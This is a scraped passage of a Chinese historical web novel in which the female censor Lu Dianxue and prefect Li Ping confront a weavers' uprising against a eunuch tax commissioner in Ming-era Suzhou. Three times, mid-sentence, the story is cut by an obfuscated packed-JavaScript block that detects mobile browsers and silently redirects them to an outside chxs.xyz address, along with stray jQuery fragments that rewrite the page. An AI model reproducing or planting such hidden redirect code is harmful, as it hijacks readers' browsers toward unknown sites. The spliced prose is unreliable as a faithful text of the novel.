“事急从权,可以理解,”卢点雪煞有其实地点了点头,“可是你这话可有所凭据?毕竟涉及到皇上,若是邓礼察觉到不对劲,日后将你供了出去,这可如何是好?尤其这话若是传到锦衣卫耳里,你就真真切切是完了!”
“应,应该没这么严重吧——!”
李平明显慌乱了起来,但仍旧尽量让自己看上去不那么慌张,
“可是前不久小阁老刚刚与我通了书信,信誓旦旦地说,只要让何裘当了巡盐御史,他就定能让圣上收回征收矿税的成命!”
“哦对,小阁老还说,取消矿税乃是大势所趋,早晚都会成的,让我在苏州等着他的好消息。”
“小阁老当真这么讲?!”
卢点雪面上是不动声色,心中却早已掀起了惊涛骇浪。
看来一切皆如云梵所料,崇正党对取消矿税已经是势在必行!
或许她还是想错了,恐怕整个内阁,连魏尚书在内,最终的目的都是……
卢点雪不敢再深想下去。
她的脑海中忽地冒出了云梵提醒她的话。
有些话她不能明说,就像季无忧都未曾对李平明言,是以她只能对李平旁敲侧击:
“李知府,不知你明日可否有空,同我到街上去走走?我想去看看百姓过得怎样。”
“好啊好啊,”李平满口答应,“我也很是担心税使还会不会再去找那织工和林老板的麻烦,正打算明早去看看。”
“好,事不宜迟,那就明日辰时见面吧,有劳李知府。”
“哎呀,还用得着跟我这么客气嘛!我既和卢巡按如此投缘,不如以后就以字相称吧!我表字舒和!”
李平尚沉浸在结交好友的喜悦中,对他老师的计划仍是浑然不知。
见此情景,卢点雪的内心可谓是百味陈杂。
或许季无忧也是怕挑明讲以后,会彻底伤了学生的心,所以才换了个委婉的说法?
毕竟李知府是这么地单纯,又这么地一心为民,怎能安然接受这个计划,无动于衷……
然而对着李平炽热的笑容,卢点雪也不想拂了他的性子。
是以她强捺下去心头莫名生出的苦涩,微微一笑:
“好,我表字澄怀。能结交到像舒和兄这般至纯至善之人,是卢某之幸。”
45. 第 45 章
翌日辰时,卢点雪早早地到了知府衙门,同李平一道出发。
今日天气甚好,两个人就这般慢悠悠地在青石板上晃悠,一步一阶,享受着阳光在身上服帖地熨烫着,暖烘烘的。
一路上李平的人缘倒是意外地很好。
只要他路过,总有人特意过来打招呼。
李平也很是热情,操着一口不甚清晰的方言,笑着回应所有人的问候。
卢点雪不免也被这个氛围所感染,脸上也带上了几分笑意,主动向乡亲们问好。
这点让李平惊讶不已,忙问她是从哪学的吴语,怎么说得比他好上许多。
“我有一挚友就是苏州的,从前与她在金陵相处时我顺便学会了不少。”
卢点雪垂下了眼帘,淡淡道,眸中似乎有什么东西转瞬即逝。
不过尚未当李平反应过来,卢点雪就早已恢复如常,像是什么都没发生过一般,很自然地切了个话题,
“说来舒和兄的人缘当真是好,这么多老百姓都认识你,难道他们都不知道你是本地知府吗?”
“不知道,不过我很喜欢亲自出来瞧瞧乡亲们生活得怎么样。毕竟邓知县不能随意出县衙,只能派衙役行走于民间,靠他们来传递消息。但百姓视衙役如洪水猛兽,我也不愿见到他们鱼肉百姓,那便只有常出来走动走动。”
“嘿嘿,怎么样,我掩饰得不错吧,都没人看出来!”
李平闻言,顿时来了劲儿,忍不住显摆起来。
他知道方才卢点雪神情有异,定是想起了什么不愿意让旁人知道的往事。
他无意去追究,也不想让人为难,便滔滔不绝地讲上了许多他听来的奇闻轶事。
卢点雪则安静地听着,不时稍作点评。
她话虽不多,但言辞颇为诙谐犀利,直惹得李平捧腹大笑。
见李平一介堂堂四品知府,竟不顾仪态差点笑得满地打滚,卢点雪自己都觉得有些夸张。
她眉头微皱,将信将疑道:“真有这么好笑吗?”
“千真万确!尤其是澄怀你的表情,用最冷的脸说最好笑的话,岂不很有意思?”
没想到李平一听,更是乐不可支。
而卢点雪还是没反应过来,面上神情甚至愈加不解,他就笑得愈加肆无忌惮。
着实是李平的笑容太具有感染力,像村口的大鹅一样嘎嘎乱叫个不停,连带着连卢点雪也受到几分影响,她的面上不自觉地带上了一抹笑容。
“好啦好啦,别笑了,”卢点雪有些无奈,“再笑下去就不礼貌了。”
“欸,想笑就笑嘛,千万别憋着!此情此景触之心动,自当手之舞之足之蹈之!”
李平拍了拍卢点雪的肩膀,话是说得有些无所谓,脸上的笑容却是收敛了不少。
“好吧,那我接下来要说的话,肯定不会让舒和兄如此高兴了。”
“那可不一定,你且说说看。”
李平一副浑然不怕的模样,信誓旦旦道。
“那我就要直言了,反正舒和兄先也曾为科道御史,想必这话再难听也是能听进去的。”
迎着李平的目光,卢点雪平静道,
“从昨日进府衙后,我就一直在利用知府您。舒和兄当真是一点也不介意?”
“哈,原来要说的就这个,能有什么好介意的?”
出乎卢点雪意料的是,李平看起来相当得不以为意,明显是没把这话放在心上。
他瞅了瞅卢点雪的反应,定睛一看,竟从她那张板得紧紧的一张脸上瞧出了些局促之态,霎时乐不可支,复又哈哈大笑起来。
“本就是你情我愿的事,又怎谈得上是利用?”
卢点雪微怔,从未曾想过李平竟是如此回答。
此时一阵微风拂过,吹得湖边柳条簌簌作响,也吹动了二人的鬓发与衣裳。
纵然是披裘带索、青衣乌帽的平民装扮,似乎也有了几分古之君子惺惺相惜之态。
“其实我一直很佩服您,有着常人所不能拥有的勇气,一往直前,从不畏惧前方的艰难险阻。不管面前之人是谁,上至天子阁老,下至小官黎民,您总是不卑不吭,这一点让我十分艳羡。”
“我自小性子懦弱,出身寒微,全赖老师不离不弃,步步扶持我至今日。若澄怀你身为男子,所作所为定比我出色许多,也不至于落到个被奸佞刁难,琼林宴上一落千丈,白白被关进诏狱的下场。”
“多谢舒和兄谬赞,可是我并不觉得身为女子是一件令人惋惜的事。”
正视着李平的面容,卢点雪缓缓地摇了摇头,轻声说道:
“请舒和兄收回您的目光。我可以坦然接受您赞赏的、憎恶的、怀疑的目光,可恕我唯独无法接受您用怜悯的眼神注视着我。”
“是的,我不否认您说的一些话,倘若我是男子,我确实不会因女扮男装而获罪入诏狱,甚至可能会在琼林宴上自此一步登天,平步青云。可以说,如今我所遇见的诸多种种险境,绝大部分都是因为我的女子身份所带来的。”
“然而,也正是因为我的女子身份,我的老师李卓吾才会愿意收我为徒,教与我世间万物的诸多道理,让我以世人所瞧不上的妇人之仁,去感应天下万民之心,仰观宇宙之大,俯察品类之盛。”【1】
“也正是因为我的女子身份,我才能一览无余、淋漓尽致地感受到这世间所有不用加以掩饰的恶意,在那些精致而混沌的假面下,瞧见了人们被压抑被禁锢住的最真实的私欲。”
“要说恨吗?是有些,但更多的是迷茫,是不甘。”
“在诏狱里的时候,抬头望着墙上先生割喉所留下的血迹时,这份情感便会愈演愈烈,直至变成燎原之火,炙热的火苗一点一点,不断舔舐着我那颗蠢蠢欲动的心。”
“我无数次反问自己,难道我真的就该被囚于此处吗?如果仅仅是因为我的女子身份,那为何当时就不治我死罪,偏要在众目睽睽之下剥夺我辛苦夺来的荣耀,让我在那暗无天日的诏狱里受辱。如果仅仅是因为一个女子的身份,那为何我的老师也会同样被囚禁在这里?”
“于是我反复思索,在昏沉牢狱里的日日夜夜,我的头脑无时不刻地思考着这个问题。我为什么会在这里?我若是能出去,我该去哪里,做什么?”
“终于,我想明白了。在此期间,我也忆起了我初进科考考场时的那份心情。”
“是的,这条道路是我亲自选的。从前我不后悔,以后也不会后悔。不可否认,这条路上我受到了太多人的提携与帮助,没有他们手中的权力,仅凭着一腔孤勇,我走不了这么远。”
“若是没有他们拉我一把,或许我也会和普通女子一样,生于父母失望遗憾的目光下,囚于婚姻逼仄窒息的花轿里,死于家庭鸡飞狗跳的琐事中。”
“至此我恍然大悟,我有才华,有勇气,有智慧,可唯独没有与之相匹配的,要去谋取权力的野心。”
“这就是我和老师会沦落到此般境地的原因,我们没有能让我们畅所欲言的地位与权力。”
“只不过,我的女子身份让我更深刻地体会到了这一切罢了。”
“故而自打从诏狱出来后,我的理想就与初进京城的时候大相径庭了。”
“我下定决心,要与满朝文武,尤其是看不上我的那些男人们去争一争,看看究竟鹿死谁手。”
“我是泰州学派的学子,自始自终我都不会忘却我们学派的要义,百姓日用即为道,穿衣吃饭是人伦物理,我要用我从男人手中篡来的权去造福天下万民。”
“所以舒和兄,还请您勿要用先前那样的目光看着我。如今我能以这样一个姿态,平等地进行交谈,已经是我费尽千般心思所争取来的。”
“你眼中的怜悯与同情,不应该施舍于我,那是在否定我过去所做出的种种努力。”
“原来如此,我懂了。”
李平静静地听完了卢点雪的肺腑之言,发出了一声由衷的感叹。
“方才是我失礼了,我在此向你诚挚道歉。至于昨日之事,我确实全然没有怪你的意思。我也是真的很感激你,让我头一次领会到大权在握的信心,这是我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807250|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
从未敢想的。”
“我很赞同澄怀你的想法,我也乐意同你一道去为百姓谋福祉,为天下开太平。”
“管鲍之交,不外乎如是也!”
二人对视,会心一笑。
卢点雪和李平在街市上转悠了许久,却惊诧地发现,以丝织而著称的苏州市集上,竟没有几家卖布的。
街上甚至连小贩都没几个。
卢点雪不免想起了先前云梵告诉过她的吴县情况,眉头深深地皱了起来。
说曹操曹操到,她这刚想起这人,一个熟悉的声音就从她身后传来。
“哟,这不是卢巡按和李知府吗?相逢即是缘,不如来我家铺子喝盏茶?正好草民还想为昨日之事而感谢二位,正愁着备些什么谢礼呢。”
“不必了,帮你是本府职责,喝茶可以,东西就不用送了。”
李平正气凛然地拒绝了林凡安的搭讪,一派不容商议的样子。
“一点心意而已,还望李知府不要推辞。”
林凡安欠了欠身子,谦逊道。
“不行!本官坚决不收贿赂!”
只听李平大喊了一声,随后迅即地往后撤出去老远。
他背对着林凡安,却又像是想起什么似的,又猛地转过头,气呼呼道,
“我刚刚想起一件事儿,你是不是京城里那家林家茶楼的老板?琼林宴后一纸讼状将她告到朝中去的?”
“不是草民,是当时手下人太过心急,贸然行事而已。”
林凡安将锅甩得飞快,说谎话连眼睛都不眨一下,
“想必是下属当初不知道卢巡按是女儿身,也不知她在殿试上一举夺魁,忽然就这么平白无故地下了诏狱。他们也是怕卢巡按一去不复回了,这才想出这么一个昏招儿。”
“为了弥补过错,他们已在卢巡按出狱时就登门道歉过了,还额外补偿了不少银子。”
“嗯?真是这样吗?”
李平狐疑地望向卢点雪,将信将疑。
他毕竟当时不在场,不知道具体情况,只是从老师和小阁老的信中略微了解一些,是以只能求证于当事人。
“是的,没错,这一切只是个乌龙。林老板知错能改,善莫大焉。”
卢点雪面不改色地接下了林凡安的话头,这一确凿的态度让李平深信不疑。
以防万一,她与林凡安的关系还是不说为妙,省得多生祸端。
正好思及到街市上的情况,她便与林凡安攀谈起来。
一切果然皆如他在信中所言,偌大一条街市上之所以如此清冷空旷,正是因为织造太监孙隆要求商贩和机户只有在按照要求如数上缴税款后,才允许他们在街市上摆摊。
“昨晚不是才敲打过税使,总不至于今日还这么胆大妄为吧?”
李平听着听着,没一会儿眉头就紧紧扭成一团。
“冰冻三尺非一日之寒啊。”
林凡安意有所指地说了一句。
他话音刚落,远处忽地跑来一人,直奔着林凡安而来。
看其模样,像是一个管事,神色慌乱,口中还一直喊着“老爷”。
直至他瞧见林凡安,这才如是负重,三两步飞奔到他的身边,气喘吁吁道:
“老爷,不好了,大事不好了!”
“什么事这么急?你且先歇歇,稍后再讲。”
似是丝毫未被这管家的神情所影响,林凡安仍旧面色如常,何言细语地让他先休息片刻。
“嗬……老爷,这事耽误不得!”
管家却丝毫不领自家老板的情。他剧烈地喘着气,断断续续地讲道,
“葛成不见了,机房内其余的织工也都不见了!”
“你这话是什么意思?人都上哪去了!”
卢点雪率先察觉到了不对劲之处,急急出口问道。
一股不好的预感在她脑海中闪过。
果不其然,下一刻,她这念头竟成了真。
“有人说,有人说看到他们手持着棍棒,从玄妙观出来,气势汹汹地朝着葑门过去了!”
46. 第 46 章
葑门之外,是矿监税使的大本营。
她最担心的事终于还是发生了。
电光火石间,她猛然想起了昨日林凡安对她说过的一句话,顷刻间令她毛骨悚然起来。
他说,你来得时候真是不巧。
还意有所指,说那税使也再没这机会报复他了。
原来指的竟是这层意思。
卢点雪深深地望了一眼林凡安,也就是云梵。
他仍旧是那副惺惺作态的模样。
就连脸上的惊讶之情,仅仅只是浮于表面上浅浅的一层。
她从他眼中看到的,只有对世事的漠不关心与淡然。
似乎一切与他皆无任何关系。
卢点雪扭过身去,正欲追上李平的步伐。
李知府已经跑了,甫一听到民变的消息后,就风风火火地朝着葑门的方向赶去。
然而她就在她刚刚踏出第一步的,衣袖就被林凡安轻轻扯住。
“卢巡按,我是真心实意地奉劝你,别去。”
卢点雪回过头来,目光如利剑般冷冷射向林凡安:
“你是在担心,我会坏了你筹谋已久的计划?”
说话间,卢点雪的手早已攥上那截衣袖,拳中暗暗发力。
“当然不是,我只是不想你为此丢了辛苦求来的乌纱帽而已。”
然而下一刻,林凡安竟却是径直撒开了手,宛若蜻蜓点水一般,就这么轻飘飘地放弃了。
“那你去吧,你若执意如此,我不拦你便是。”
林凡安朝着卢点雪笑了笑,仿佛什么也没发生过一样。
“我也是真的很佩服你这一点,无论何时,但凡是那些妨碍了你判断正义的情感与羁绊时,你都会毫不犹豫地斩断它们。”
“出于对朋友的忠告,我只是想提早告诉你一声,好人救不了这个世道,仅此而已。”
彼时的卢点雪,还尚未真正理解得了云梵的弦外之音。
只因那时候的她还太过年轻,仍抱着满腔的激情与赤忱,完全不知道江南的这潭水,很深,很深。
所以那个在苏州市集上的她,朝着与云梵截然相反的方向,义无反顾地向前奔去了。
与此同时,吴县县衙。
邓知县尚未知道此时的城中发生了什么,正命令户房里的典吏盘点账册。
“你们动作都麻利点,别拖拖拉拉的!趁现在那卢巡按没来,赶紧把不能明面上算的都先算了,免得待会她想起吊刷文卷的事,让你们吃不了兜着走!”
“禀堂尊,昨日用于接待卢巡按的费用算好了。”
“这么快?”
“是的,连带住宿饮食,她一共用了十一两银子。”
“只有十一两银子?”
邓礼很是意外。
“这比我们预估好的那顿洗尘宴的银子还少啊。依惯例,本县遇一显官过往,用银二三十两,巡盐察院过,用银一二百两。遇察院出巡,用银一二百两,巡抚过,用银三四百两”。【1】
“为了这位卢巡按,小的可是特意向里甲征派了至少一百五十两的银子,这还不包括准备送的礼。难不成这位大人同李知府是同样的做派?那我们备的礼还要不要送?”
“当然不必送了,毕竟百姓已经送了一份大礼给本官。”
只听一个令众人胆战心惊的声音从大门传来,光听其语气,就知来着不善。
“敢,敢问卢巡按,百姓这是送了什么给您?”
又被当场逮了个正着,邓礼可谓是想死的心都有了。
是以他只能尴尬地回应着卢点雪的话,试图缓和一下紧张的氛围。
“玄妙观,葑门,民变。”
卢点雪言简意赅,明显是不想与旁人讲太多废话。
此话一出,满场骇然。
邓礼闻言,顿时吓得三魂不见了七魄,冷气一吸,白眼一翻,眼看着就要向后晕去。
不过卢点雪对此早有准备。
她一挥手,众人自觉退下,噤若寒蝉。
三两步上前,伸手扶住邓礼,猛掐人中。
不消多时,邓礼终于吐出一口气,恢复了意识。
“邓知县,醒了没?醒了就赶紧去召集人马,别在这躺着扮尸体。”
邓礼幽幽醒来,眼皮子刚颤动了几下,耳朵就避无可避地听到卢点雪那冷若冰霜的话语。
“你动还是不动?”
见邓礼半天没个反应,卢点雪显然是没了耐心,手一松,让邓礼摔了底朝天。
“邓知县要是真的愿意成为一具尸体,那我也乐得成全你。事后我会向圣上奏明情况,就说邓知县为救治下子民心切,身先士卒,不幸牺牲在了与矿监税使斗争的过程中,介时皇上定会给您赐个美谥!”
“毕竟,本朝地方官还从未有发生过民变而能留任者。”
这一摔,这最后一句话,算是彻底把邓礼给吓清醒了。
天杀的,他怎么忘了还有这一条规矩!
他心中不知暗骂了多少句卢点雪说话忒难听,话里话外都在咒他死,面上却不得不毕恭毕敬地堆着笑:
“呼,多谢卢巡按妙手回春,我醒了,人很好!”
“卢巡按有什么话尽管吩咐,我马上命人去办!”
“你,先让衙门里所有的衙役都赶去葑门,尽量将起义的队伍给拦住。若是拦不住,或者队伍已经到了葑门,就把那一块全围起来,不许任何人进出!”
“一切皆以保护百姓的安全为重,不得随意动手!不然我唯你是问!”
“是,都愣在这里干什么,快去啊!没听到卢巡按的话吗!”
邓礼身后的衙役似乎都像是看呆了的模样,一动不动的。
直至邓礼对他们大喊大叫了几声,这些人方才如梦初醒,慌慌张张地作鸟兽状散去。
但此时卢点雪完全顾不上这些。
她紧锁着眉头,大脑正急速地运转着。
“其后,邓知县你如实告诉我,连带着为我准备的应酬费,县里的羡余银统共还有多少?”
“什,什么耗羡?不知卢巡按所言何意?”
乍一听到这个词,邓礼有点发懵,不明白卢点雪为何会对此如此熟悉,下意识就想装傻。
然而他心中发虚的模样,终究还是没能逃得过卢点雪的法眼。
“就是各地在征收赋役时,那些多收的部分。我知道各
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808567|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
县为避免不足数,会有意放款征收尺度,以抵偿运输损耗的费用。赋税收多了,肯定有一部分结余,且就留在县支用,称‘羡余银’。我没说错吧,邓知县?”
“是,您说得全对,县里确实,嗯……还剩有不少。”
卢点雪话都说到这份上了,邓礼也不得不硬着头皮承认。
这位卢巡按心如明镜,看来是怎么也瞒不过了。
邓礼可谓是丢盔弃甲,再无可抵抗之力。
“说个具体数额。”
“这个嘛,大人您方才也看到了,这不是还没来得及算别的账……”
“身前名,身后事,你选一个。”
卢点雪懒得理会他这些小招数,毫不留情地打断了他的话。
邓礼一噎,自觉地将下半截话吞进肚子里。
“大概,几千两吧……”
邓礼的声音愈发得小了起来。
“今日事态紧急,我且不跟你计较这些。你即刻想一套安抚百姓的说辞,答应他们若是同意放下手中武器,不再参与民变者,签字画押后可获钱财若干,这钱就从羡余银里出。具体多少,你看着给就是。”
“然后你再带上几名书吏,让他们带上纸笔和印泥,同你速速赶至葑门,要快!”
“好,那卢大人您呢?”
“你们先去,我要回察院拿件东西,稍后就至。”
衙役已将马匹牵到二人面前,卢点雪随意挑了匹,便翻身上马,蓄势待发。
忽然间,她似乎又像是想起什么,回过头来,居高临下地看着邓礼。
“邓知县,有些事我还是想同你说一说。”
“你是个聪明人,懂得审时度势,那么想必你也知道,现在我们是一条船上的人,在此等重要时刻,同舟共济、共渡难关才是明智的选择。希望你懂得这个道理,不要将对我的意见与不满带入其中,免得什么事还没开始去做,自个儿内部就早已是水火不容之势。此等结果,恐怕也不是圣上与京中各位阁老们所乐意见到的。”
“日后我们共事的时间还很长,还望邓知县好好思虑一番。”
“之前是我头脑发昏、思虑不周,先行给卢巡按赔个不是,还望卢巡按勿要见怪。当是时,平息民变才是头等大事,一切全凭卢巡按吩咐!”
邓礼好歹也在官场混了这么多年,自然懂得识时务者为俊杰。
既然这位卢巡按软硬皆施,还给了他台阶下,他顺着下来就是,干嘛老给自己讨没趣儿。
斗又斗不过,还是算了,老实点吧。
“我从未对卢巡按有过任何不满,而是震惊于从未见过卢巡按这般的女子。”
“您与别的女子全然不同,似乎有着超乎她们的勇气与智慧,雷厉风行、无所畏惧,这也是令我感到万分惊异的一点。”
“是吗?邓知县说笑了,我就是一普通女子,只是与你认知里的女子形象有所出入罢了。”
“看来邓知县还是需好好开阔一下眼界才是,省得动不动大惊小怪,有失身份。”
“时辰不早了,本官还要写信告知诸位阁老,告辞!”
卢点雪轻笑一声,扬起马鞭,在肆意纷飞的沙尘中,疾驰而去。
47. 第 47 章
这一头苏州的地方官早已是忙得焦头烂额,另一头织工们正手持木棍,气势汹汹地朝着东南方向的葑门挺进。
带队领头的,正是卢点雪昨日在公堂上所见过的葛成。
眼望着越来越近的城门,葛成的内心愈发激动。
今日,他们终于无需再忍了!
三月,苏州发大水,农业歉收。
苏州本就是全国赋税最终的地区,所谓三吴赋税之重,甲于天下。
在此等非常时期,百姓的生活本就已经十分艰难了。
然逆阉却对此不管不顾,狐假虎威,假借圣上之名,盘剥百姓大肆敛财,无恶不作为非作歹!
孙隆及其手下的所作所为,对苏州百姓来说无异于雪上加霜,以至苏州万余名织工、纱工、染工失业。
这些人难以为继,无处可去。
像林凡安那样的富庶机户终归是少数,愿意加价购买生丝,以供织工们织布谋生。
更多的是跟张二那样的平头老百姓,无权无势,只能任由着税使横征暴敛,忍气吞声。
自此,在几日前,葛成就在玄妙观内与众人商讨反抗税使的事宜。
深受矿监税使盘剥之苦的百姓、工人们得知消息后,纷纷响应,反抗税使的队伍日益壮大。
葛成本还想再观望几日行事,度义而后动。
然而就在昨日,公堂之上,他亲眼目睹到了孙隆的手下是何等跋扈猖獗。
就在李知府、卢巡按、邓知县三位官老爷的眼皮子底下,竟还挥鞭抽人!
尤其是他这一鞭,还伤到了最为爱民如子的李知府身上。
是可忍,孰不可忍!
李知府是个好脾气的,甚至还反过来宽慰他和张二,让他们不要为他担心。
李知府宽宏大量,能忍常人所不能忍,可他葛成却忍无可忍!
故而从那一刻起,他就意识到,明日正是一个行动的最佳时机。
翌日一早,他召集众人,共同在郊外的玄妙观内起誓。
义士葛成振臂而起,手执芭蕉扇,豪情万丈道:
“四月水杀麦,五月水杀禾,茫茫肝陌弹为河。杀禾杀麦犹自可,更有税官来杀我!”
“今日之事,我们是为民请命,为朝廷除害!一举一动皆为公义,私人不取一钱,不将孙隆逐出苏州,誓不罢休!”
“誓不罢休,誓不罢休!”
众人纷纷响应,摩拳擦掌。
在葛成的带领下,两千余人冲出玄妙观,浩浩荡荡地涌向税使的大本营,期冀着将矿监税使们一网打尽。
刚巧,在葑门外的觅渡桥边,他们碰上了税官黄建节在征税。
这天杀的丝毫还没意识到自己的末日已到,仍在殴打因交不起入城费而无法进城卖瓜的小贩,打得那小民皮开肉绽,满地哀嚎。
见到葛成一群人的到来,黄建节的嚣张气焰不减半分。
他斜眼睥睨着众人,昂首示意他们速速交税,并放言不交就是这般下场!
所谓仇人相见,分外眼红。
众人忘不了此人是如何在孙隆面前煽风点火,擅自增加税额的。
何况眼下的这一举措,无疑是点燃了他们心头的怒火。
不消多说,他们立即将黄建节给团团围住,一顿乱石将其打死,随后踩着他血肉模糊的尸体,一步一个血印,势不可挡地进了城。
卢点雪率着几人赶到此处时,看到的就是这么一番场景。
她来得有些晚了,只瞧见了队伍的末尾,还有那被吓得呆愣在原地,瑟瑟发抖的卖瓜小贩。
卢点雪长叹一声,知道为时已晚,只能寄希望于邓礼和李平在城内能有所行动,不至于让场面变得更糟糕。
她翻身下马,缓缓地走至小贩的身前,想要问一问情况。
未想这小贩早已被吓破了胆,看见卢点雪身上的官服,目瞪口僵,顿时不管不顾地磕起头来,口中喃喃道:
“老爷饶命,老爷饶命啊!黄税使真不是草民杀的啊,小民冤枉——!”
“我知道,我知道,你且先冷静冷静。身上流了这么多血,疼不疼?我这里有些金疮药,你先拿过去止止血吧。”
卢点雪双手扶起小贩,从袖中掏出帕子和药,温言细语地宽慰着。
小贩一滞,一双眼惊疑不定地望着卢点雪。
他的手僵直地撑在地上,痉挛般地动了动,却没有下一步动作,浑然不觉自己面上的血与泪早已融在了一起,含含糊糊地糊了一脸。
卢点雪有些无奈。
她见这小贩迟迟不愿接过自己递来的东西,干脆就由自己动手,用帕子轻柔地拭去他面上的血迹。
她的帕子刚刚触上小贩的脸,霎时就被殷红的鲜血染透了。
卢点雪的眉头轻微地蹙了蹙,随手将它扔到旁边,又换了条新的。
“你莫要害怕,我跟旁边那税使不是一伙的。你看,我们穿的明显不一样。”
“本官是新任的应天巡按,为的就是为你们老百姓主持公道!”
“真,真的?”
终于,这小贩颤巍巍地开了口。
他抬起头,看了看面前卢点雪手中的帕子,眼角余光又瞥见了那条被遗弃的帕子,似乎有些不好意思,小心翼翼地开了口:
“谢谢您,但是我这伤势太重,您就算用再多的帕子也无济于事。草民感谢您的好意,不过,还是不要将您的帕子浪费在草民身上吧,草民赔不起。”
“几条手帕而已,难道比人命还重要?”
卢点雪满不在乎地摇了摇头,毫不犹豫地将手中这条复又被染红的帕子给丢弃。
但是就在她准备再掏一条的时候,小贩轻轻地制止了她。
“大人,真的不必了,小的可以自己来。”
“好的,那你就自己来,反正脸上的血也不多了。擦完就撒些金疮药,本官马上命人带你去找医师。”
卢点雪也不推辞,直接将东西放在小贩手中。
“那我就长话短说,不耽误你治疗的时辰。你在此被税使拦住,可是没钱交入城费?而后不久你就碰见了许多人,是他们打死那税使的,对吧?”
“是,是,大约在一刻前,草民还不知道发生了什么事儿,那群人就蜂拥而至,将税使给打死了!”
“好,多谢,你受苦了,待会儿你就跟着这些人一起走吧。放心,他们会给你找个好郎中的,只是之后还得请你在本官的察院里多坐一会儿,平复平复心情。你作为这场暴乱的亲历者,我想麻烦你做个证人,提供一些证词以供事后本官审案。”
“那是自然!您说什么,草民就做什么!”
卖瓜小贩应了一声,连连答应。
“对了大人,求求您跟皇上说说,让圣上把这些税给使都给收了吧!不光是草民,天底下还有更多的人正遭遇着此等惨状啊!”
“就比如说草民认识的一个名叫陆二的行商,他在吴会以卖灯草为生,被沿途税卡征税。税官如狼似虎,跟盗贼没什么两样,一船灯草不过八两,却已交了四两的税。”【1】
“陆二到了青山,眼见前方又有税卡,他却早已囊中空空,一怒之下便上岸将灯草烧了个干干净净。哎,大人,您看这过得都是些什么日子……”
接着他像是想起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14832108|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了什么似的,转过身去,看见了自己那一车早已被砸得稀烂的瓜果,身体控制不住地晃了晃,嚎啕大哭。
卢点雪见此,心中只觉苦涩无比。
此举可谓痴绝,而心之怨恨也,为何如哉?
她命人将小贩带回察院,好好疗伤,自己则沿着路上的血印,骑马进了城内。
就在即将赶至制造局前,她恰巧碰上了邓礼。
卢点雪勒住缰绳,急急向他询问道:“邓知县,现在情况如何?”
邓礼心急如焚地凑上前,脸上满是焦急:
“拦不住,根本拦不住!这些人至少有千余名,比我带来的衙役还要多上个几倍!再这样闹下去就得喊李知府去调兵了!”
“李知府一开始还在苦苦相劝,这些人却一点也听不进去,有一队直接包围了制造局,其余的纷纷跑去清算孙隆的爪牙。”
“周边百姓可有受伤?!”
“没有,他们的纪律似乎很是严明,分别敌友,不取钱财。在我到之前,他们就已在全城的各个城门上张贴告示告知苏州城的百姓,说是不必惊慌。”
“据我手下人来报,每个小队的领导者中手中还带有一份手摺,上面写着每一个税官的姓名与地址。反抗的队伍包围了税官的住宅,纵火焚毁,连带着打死了不少来不及逃跑的税使,还有那些曾经投靠过税使充当帮凶的富商和乡绅家里。”
“那火势——?!”
“卢巡按放心,那些人在焚烧税使的房子之前就已通知附近的百姓做好准备,以防止火势的蔓延。目前为止,还没有殃及无辜。”
“那就好。”
卢点雪长舒一口气,一颗心总算安定下来。
然而她倏地又想起一件事儿,霎时脸色大变。
“你可知李知府现在身在何处?还有织造太监孙隆,他死了吗?”
“不知道,”邓礼如实相告,“实不相瞒,我们和民众都在找他。”
“依目前的情况来看,孙中使肯定还活着,不然那些人也不会一直围在制造局前,一动不动。”
“至于李知府,他应该不用我们如此记挂,毕竟他对百姓可谓是相当不错的,想必那些人也不会为难他。”
“但是孙中使可就难说了。他若是死了,遭殃的就是我们和所有百姓!他可是厂公的干儿子,又是陛下亲自任命的,他要是真死在本县的地盘上,我几个脑袋都不够砍的!”
“哦,是吗,我看倒未必。”
面对邓礼张皇失措的模样,卢点雪却是冷静得出奇。
“如今的场面全是他一手造成的,他还有脸回到京城,在皇上和赵除佞面前告状?”
“哎,话是这么说,但他人真不能死啊,至少不能死在我们苏州。他不死是他理亏,一旦他死了,责任就全在我们和老百姓的身上了!卢巡按,这点您可得想明白,不要莽撞行事!”
邓礼不安地望了眼卢点雪手中拿着的东西,眼皮狠狠一跳,仿佛意识到了什么,不由劝告起来。
可这一次,卢点雪并没有回应他。
她的目光忽然一直紧盯着知府衙门,声音有些低沉:
“为什么今日知府衙门的大门是紧闭着的?依常例,它不该敞着吗?”
“可能李知府回到知府衙门去了?或许,也有可能是——”
邓礼说到此处,顿时止住话头,与卢点雪面面相觑。
“邓知县,你且先在这里等着,引开百姓的注意,我从后门进知府衙门一趟。”
不待邓礼反应过来,卢点雪就已飞身下马,头也不回地向前奔去。
只留下邓礼在原地无助地等待着。
48. 第 48 章
果不其然,一切正如同卢点雪所想的那样。
